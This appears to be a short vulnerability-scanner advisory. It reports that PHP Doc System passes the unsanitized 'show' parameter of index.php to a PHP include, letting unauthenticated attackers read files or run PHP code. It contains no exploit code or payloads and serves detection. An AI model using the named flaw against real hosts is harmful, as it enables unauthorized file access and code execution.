The remote host is running PHP Doc System, a modular, PHP-based system for creating documentation.
The version of PHP Doc System installed on the remote host fails to sanitize user input to the ‘show’ parameter of the ‘index.php’ script before using it in a PHP ‘include’ function. An unauthenticated attacker may be able to exploit this issue to view arbitrary files on the remote host or to execute arbitrary PHP code taken from arbitrary files on the remote host.
